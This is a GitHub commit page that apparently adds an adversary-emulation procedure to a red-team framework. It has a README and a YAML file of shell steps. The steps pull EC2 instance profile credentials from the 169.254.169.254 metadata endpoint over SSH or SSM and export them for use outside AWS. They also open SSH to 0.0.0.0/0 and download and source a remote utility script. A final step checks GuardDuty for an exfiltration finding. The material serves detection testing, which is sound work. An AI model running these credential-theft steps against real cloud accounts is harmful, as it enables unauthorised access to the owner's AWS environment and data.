-
Notifications
You must be signed in to change notification settings - Fork 25
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
New TTP: extract-instance-profile-credentials (#86)
- Loading branch information
Showing
3 changed files
with
369 additions
and
1 deletion.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,92 @@ | ||
# exfil-instance-profile-creds | ||
|
||
![Meta TTP](https://img.shields.io/badge/Meta_TTP-blue) | ||
|
||
This TTP is designed to extract instance profile credentials from an EC2 | ||
instance. This allows you to potentially exfiltrate role-based credentials | ||
that the EC2 instance may have been assigned, enabling broader | ||
access within the AWS environment. | ||
|
||
## Arguments | ||
|
||
- **detect**: If set to true, the TTP will query AWS GuardDuty to determine if | ||
the exfiltration was detected. | ||
|
||
Default: true | ||
|
||
- **vpc_id**: Specifies the VPC ID. If not provided, it defaults to using the | ||
default VPC. | ||
|
||
- **subnet_id**: Specifies the Subnet ID within the VPC. If not provided, | ||
it defaults to using the default subnet within the specified or default VPC. | ||
|
||
- **security_group_id**: Specifies the Security Group ID. If not provided, | ||
a new security group with name "ttpforge-exfil-instance-profile-creds-sg" | ||
and a description "exfil-instance-profile-creds TTP" is created. | ||
|
||
Default: ttpforge-exfil-instance-profile-creds-sg | ||
|
||
- **ec2_instance_id**: Specifies the EC2 instance ID. If not provided, | ||
a new instance will be created. | ||
|
||
- **ssh_key**: Specifies the SSH key for accessing the EC2 instance. | ||
If provided, SSH will be used to extract the instance profile credentials. | ||
If not provided, the Amazon Systems Manager (SSM) will be used. | ||
|
||
## Pre-requisites | ||
|
||
1. A valid set of AWS credentials. They can be provided through environment | ||
variables: `AWS_ACCESS_KEY_ID`, `AWS_SECRET_ACCESS_KEY`, | ||
`AWS_SESSION_TOKEN`, or `AWS_PROFILE`. | ||
|
||
1. The AWS CLI is installed. | ||
|
||
1. The `jq` utility must be available for parsing JSON responses from AWS services. | ||
|
||
1. For accessing instances, either an SSH key must be provided or the EC2 | ||
instances should have the necessary permissions and setup for using | ||
Amazon Systems Manager (SSM). | ||
|
||
## Examples | ||
|
||
Extract instance profile credentials from an EC2 instance within a | ||
specified VPC, Subnet, and EC2 instance using SSM and detect | ||
any exfiltration attempts: | ||
|
||
```bash | ||
ttpforge run forgearmory//cloud/aws/ec2/exfil-instance-profile-creds/exfil-instance-profile-creds.yaml \ | ||
--arg vpc_id=vpc-12345678 \ | ||
--arg subnet_id=subnet-12345678 \ | ||
--arg ec2_instance_id=i-12345678 | ||
``` | ||
|
||
Extract instance profile credentials using SSH, specifying an SSH key: | ||
|
||
```bash | ||
ttpforge run forgearmory//cloud/aws/ec2/exfil-instance-profile-creds/exfil-instance-profile-creds.yaml \ | ||
--arg vpc_id=vpc-12345678 \ | ||
--arg subnet_id=subnet-12345678 \ | ||
--arg ec2_instance_id=i-12345678 \ | ||
--arg ssh_key=/path/to/ssh_key.pem | ||
``` | ||
|
||
## Steps | ||
|
||
1. **ensure-aws-creds-present**: This step ensures that valid AWS credentials | ||
are set using environment variables. | ||
|
||
1. **ensure-bins-present**: Validates that the relevant binaries to | ||
execute this TTP are installed on the system. | ||
|
||
1. **get-aws-utils**: Downloads a set of AWS utilities which are required for | ||
subsequent operations. | ||
|
||
1. **create-or-use-ec2-and-exfiltrate-instance-profile**: The core step which either | ||
uses provided AWS resources (like VPC, Subnet, Security Group, EC2 Instance) or | ||
defaults/creates them. It then attempts to exfiltrate the instance profile | ||
credentials either using SSH (if an SSH key is provided) | ||
or Amazon Systems Manager (SSM). | ||
|
||
1. **check-detection**: If `detect` is set to true, this step will check | ||
AWS GuardDuty for findings related to the exfiltration attempt within a | ||
specified time window. If any findings match the expected type, an alert is raised. |
276 changes: 276 additions & 0 deletions
276
ttps/cloud/aws/ec2/exfil-instance-profile-creds/exfil-instance-profile-creds.yaml
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,276 @@ | ||
--- | ||
name: exfil-instance-profile-creds | ||
description: Extract instance profile credentials from an EC2 instance. | ||
args: | ||
- name: detect | ||
default: true | ||
- name: vpc_id | ||
default: nil | ||
- name: subnet_id | ||
default: nil | ||
- name: security_group_id | ||
default: ttpforge-exfil-instance-profile-creds-sg | ||
- name: ec2_instance_id | ||
default: nil | ||
- name: ssh_key | ||
default: nil | ||
|
||
steps: | ||
- name: ensure-aws-creds-present | ||
inline: | | ||
set -e | ||
if [[ -z "${AWS_DEFAULT_REGION}" ]]; then | ||
echo "Error: AWS_DEFAULT_REGION must be set." | ||
exit 1 | ||
fi | ||
if [[ -n "${AWS_ACCESS_KEY_ID}" && -n "${AWS_SECRET_ACCESS_KEY}" ]]; then | ||
if [[ -z "${AWS_SESSION_TOKEN}" ]]; then | ||
echo "Warning: AWS_SESSION_TOKEN is not set with AWS_ACCESS_KEY_ID and AWS_SECRET_ACCESS_KEY." | ||
fi | ||
elif [[ -z "${AWS_PROFILE}" ]]; then | ||
echo "Error: AWS credentials are not set, exiting." | ||
exit 1 | ||
fi | ||
- name: ensure-bins-present | ||
inline: | | ||
set -e | ||
if ! [[ -x "$(command -v aws)" ]]; then | ||
echo 'Error: AWS CLI is not installed.' >&2 | ||
else | ||
echo -e "AWS CLI is installed: $(aws --version)" | ||
fi | ||
if ! [[ -x "$(command -v jq)" ]]; then | ||
echo 'Error: jq is not installed.' >&2 | ||
else | ||
echo -e "jq is installed: $(jq --version)" | ||
fi | ||
- name: ensure-valid-input | ||
inline: | | ||
set -e | ||
# Validate ec2_instance_id | ||
if [[ "{{ .Args.ec2_instance_id }}" != nil && ! "{{ .Args.ec2_instance_id }}" =~ ^i-[a-fA-F0-9]{17}$ ]]; then | ||
echo "Error: Invalid EC2 instance ID: {{ .Args.ec2_instance_id }}" | ||
exit 1 | ||
fi | ||
# Validate vpc_id | ||
if [[ "{{ .Args.vpc_id }}" != nil && ! "{{ .Args.vpc_id }}" =~ ^vpc-[a-fA-F0-9]{8,17}$ ]]; then | ||
echo "Error: Invalid VPC ID: {{ .Args.vpc_id }}" | ||
exit 1 | ||
fi | ||
# Validate subnet_id | ||
if [[ "{{ .Args.subnet_id }}" != nil && ! "{{ .Args.subnet_id }}" =~ ^subnet-[a-fA-F0-9]{8,17}$ ]]; then | ||
echo "Error: Invalid Subnet ID: {{ .Args.subnet_id }}" | ||
exit 1 | ||
fi | ||
# Validate security_group_id | ||
if [[ "{{ .Args.security_group_id }}" != "ttpforge-exfil-instance-profile-creds-sg" && ! "{{ .Args.security_group_id }}" =~ ^sg-[a-fA-F0-9]{8,17}$ ]]; then | ||
echo "Error: Invalid Security Group ID: {{ .Args.security_group_id }}" | ||
exit 1 | ||
fi | ||
# Validate ssh_key - Just check if it exists if provided | ||
if [[ "{{ .Args.ssh_key }}" != nil && ! -f "{{ .Args.ssh_key }}" ]]; then | ||
echo "Error: SSH key file '{{ .Args.ssh_key }}' not found." | ||
exit 1 | ||
fi | ||
# Validate detect - It should either be true or false | ||
if [[ "{{ .Args.detect }}" != "true" && "{{ .Args.detect }}" != "false" ]]; then | ||
echo "Error: Invalid value for detect: {{ .Args.detect }}" | ||
exit 1 | ||
fi | ||
- name: get-aws-utils | ||
inline: | | ||
set -e | ||
# Define the URL of aws utilities | ||
aws_utils_url="https://raw.githubusercontent.com/l50/dotfiles/main/aws" | ||
# Define the local path of aws utilities | ||
aws_utils_path="/tmp/aws" | ||
# Check if aws utilities exists locally | ||
if [[ ! -f "${aws_utils_path}" ]]; then | ||
# aws utilities isn't present locally, so download it | ||
curl -s "${aws_utils_url}" -o "${aws_utils_path}" | ||
fi | ||
- name: create-or-use-ec2-and-exfiltrate-instance-profile | ||
inline: | | ||
set -e | ||
aws_utils_path="/tmp/aws" | ||
# Source /tmp/aws | ||
# shellcheck source=/dev/null | ||
source "${aws_utils_path}" | ||
# Use provided VPC ID or find the default VPC | ||
if [[ "{{ .Args.vpc_id }}" != "nil" ]]; then | ||
VPC_ID="{{ .Args.vpc_id }}" | ||
else | ||
VPC_ID=$(find_default_vpc) | ||
fi | ||
# Use provided subnet ID or find the default subnet | ||
if [[ "{{ .Args.subnet_id }}" != "nil" ]]; then | ||
SUBNET_ID="{{ .Args.subnet_id }}" | ||
else | ||
SUBNET_ID=$(find_default_subnet $VPC_ID) | ||
fi | ||
# Use provided security group ID or create a new one | ||
if [[ "{{ .Args.security_group_id }}" != nil ]]; then | ||
SECURITY_GROUP_ID="{{ .Args.security_group_id }}" | ||
else | ||
SECURITY_GROUP_ID=$(authorize_security_group_ingress "" "exfil-instance-profile-creds TTP", "$VPC_ID" "tcp" 22 "0.0.0.0/0") | ||
fi | ||
# Get latest AMI ID | ||
AMI_ID=$(get_latest_ami "ubuntu" "22.04" "amd64") | ||
export AMI_ID | ||
# Use provided EC2 instance ID or create a new one | ||
if [[ "{{ .Args.ec2_instance_id }}" != nil ]]; then | ||
INSTANCE_ID="{{ .Args.ec2_instance_id }}" | ||
else | ||
INSTANCE_ID=$(create_ec2_instance {{ .Args.ec2_instance_id }}) | ||
fi | ||
export INSTANCE_ID | ||
# Extract role name from the ARN | ||
ROLE_NAME=$(echo "$CALLER_IDENTITY" | jq -r .Arn | awk -F"/" '{print $2}' | awk -F":" '{print $1}') | ||
export ROLE_NAME | ||
# Check if an SSH key was provided | ||
if [[ "{{ .Args.ssh_key }}" != nil ]]; then | ||
echo -e "Using provided SSH key to fetch role credentials from the target ec2 instance" | ||
# SSH into the instance | ||
IP_ADDRESS=$(get_instance_ip "$INSTANCE_ID") | ||
ssh -i "{{ .Args.ssh_key }}" ubuntu@$IP_ADDRESS "curl http://169.254.169.254/latest/meta-data/iam/security-credentials/" | ||
# Fetch role credentials from the instance using SSH | ||
CREDENTIALS=$(ssh -i "{{ .Args.ssh_key }}" ubuntu@$IP_ADDRESS "curl http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE_NAME") | ||
else | ||
echo -e "Using SSM to fetch role credentials from the target ec2 instance" | ||
# Fetch role credentials using SSM | ||
CREDENTIALS=$(get_instance_role_credentials {{ .Args.ec2_instance_id }}) | ||
fi | ||
# Parse the JSON output to fetch AWS_ACCESS_KEY_ID, | ||
# AWS_SECRET_ACCESS_KEY, and AWS_SESSION_TOKEN | ||
AWS_ACCESS_KEY_ID=$(echo "$CREDENTIALS" | jq -r .AccessKeyId) | ||
export AWS_ACCESS_KEY_ID | ||
AWS_SECRET_ACCESS_KEY=$(echo "$CREDENTIALS" | jq -r .SecretAccessKey) | ||
export AWS_SECRET_ACCESS_KEY | ||
AWS_SESSION_TOKEN=$(echo "$CREDENTIALS" | jq -r .Token) | ||
export AWS_SESSION_TOKEN | ||
# Confirm role was stolen successfully (run locally) | ||
aws sts get-caller-identity --no-cli-pager | ||
# Get caller identity | ||
CALLER_IDENTITY=$(aws sts get-caller-identity --no-cli-pager) | ||
# Extract the Arn field | ||
CALLER_ARN=$(echo "$CALLER_IDENTITY" | jq -r .Arn) | ||
# Check if the Arn contains the expected role | ||
if [[ $CALLER_ARN == *"/$ROLE_NAME"* ]]; then | ||
echo "Successfully stole instance profile credentials and ran them on a non-AWS system!" | ||
else | ||
echo "Failed to steal instance profile credentials." | ||
exit 1 | ||
fi | ||
cleanup: | ||
inline: | | ||
set -e | ||
aws_utils_path="/tmp/aws" | ||
# Source /tmp/aws | ||
# shellcheck source=/dev/null | ||
source "${aws_utils_path}" | ||
# Only delete the ec2 instance if we created it. | ||
if [[ "{{ .Args.ec2_instance_id }}" == nil ]]; then | ||
INSTANCE_TO_TERMINATE="{{ .Args.ec2_instance_id }}" | ||
if [[ -z "$INSTANCE_TO_TERMINATE" ]]; then | ||
echo "No instance ID provided for termination." | ||
else | ||
terminate_instance "$INSTANCE_TO_TERMINATE" | ||
echo "Terminated instance $INSTANCE_TO_TERMINATE." | ||
fi | ||
fi | ||
# Only delete security group if it's the default one | ||
if [[ "{{ .Args.security_group_id }}" == "ttpforge-exfil-instance-profile-creds-sg" ]]; then | ||
delete_security_group "{{ .Args.security_group_id }}" | ||
fi | ||
- name: check-detection | ||
inline: | | ||
set -e | ||
if [[ "{{ .Args.detect }}" == true ]]; then | ||
current_time() { | ||
date -u +'%Y-%m-%dT%H:%M:%SZ' | ||
} | ||
ten_minutes_ago() { | ||
if [[ "$OSTYPE" == "darwin"* ]]; then | ||
date -v-10M -u +'%Y-%m-%dT%H:%M:%SZ' | ||
else | ||
date -u -d '10 minutes ago' +'%Y-%m-%dT%H:%M:%SZ' | ||
fi | ||
} | ||
# Define a time window for AWS GuardDuty | ||
START_TIME=$(ten_minutes_ago) | ||
END_TIME=$(current_time) | ||
# The finding type to look for | ||
FINDING_TYPE="UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.OutsideAWS" | ||
DETECTORS=$(aws guardduty list-detectors --output json) | ||
DETECTOR_IDS=$(echo "$DETECTORS" | jq -r '.DetectorIds[]') | ||
for DETECTOR_ID in $DETECTOR_IDS; do | ||
FINDINGS=$(aws guardduty list-findings --detector-id "$DETECTOR_ID" --output json) | ||
FINDING_IDS=$(echo "$FINDINGS" | jq -r '.FindingIds[]') | ||
if [[ -z "$FINDING_IDS" ]]; then | ||
echo "No $FINDING_TYPE event detected in the last 10 minutes" | ||
else | ||
for FINDING_ID in $FINDING_IDS; do | ||
FINDING=$(aws guardduty get-findings --detector-id "$DETECTOR_ID" --finding-ids "$FINDING_ID" --output json) | ||
UPDATED_AT=$(echo "$FINDING" | jq -r '.Findings[0].UpdatedAt') | ||
if [[ "$OSTYPE" == "darwin"* ]]; then | ||
if [[ $(date -j -f '%Y-%m-%dT%H:%M:%SZ' "$END_TIME" +%s 2> /dev/null) -gt $(date -j -f '%Y-%m-%dT%H:%M:%SZ' "$START_TIME" +%s 2> /dev/null) ]]; then | ||
echo "UnauthorizedAccess finding detected!" | ||
fi | ||
else | ||
# Linux | ||
if [[ $(date -u -d "$UPDATED_AT" +%s 2> /dev/null) -gt $(date -u -d "$START_TIME" +%s 2> /dev/null) ]] \ | ||
&& [[ $(date -u -d "$UPDATED_AT" +%s 2> /dev/null) -lt $(date -u -d "$END_TIME" +%s 2> /dev/null) ]]; then | ||
echo -e "UnauthorizedAccess finding detected!" | ||
fi | ||
fi | ||
done | ||
fi | ||
done | ||
fi |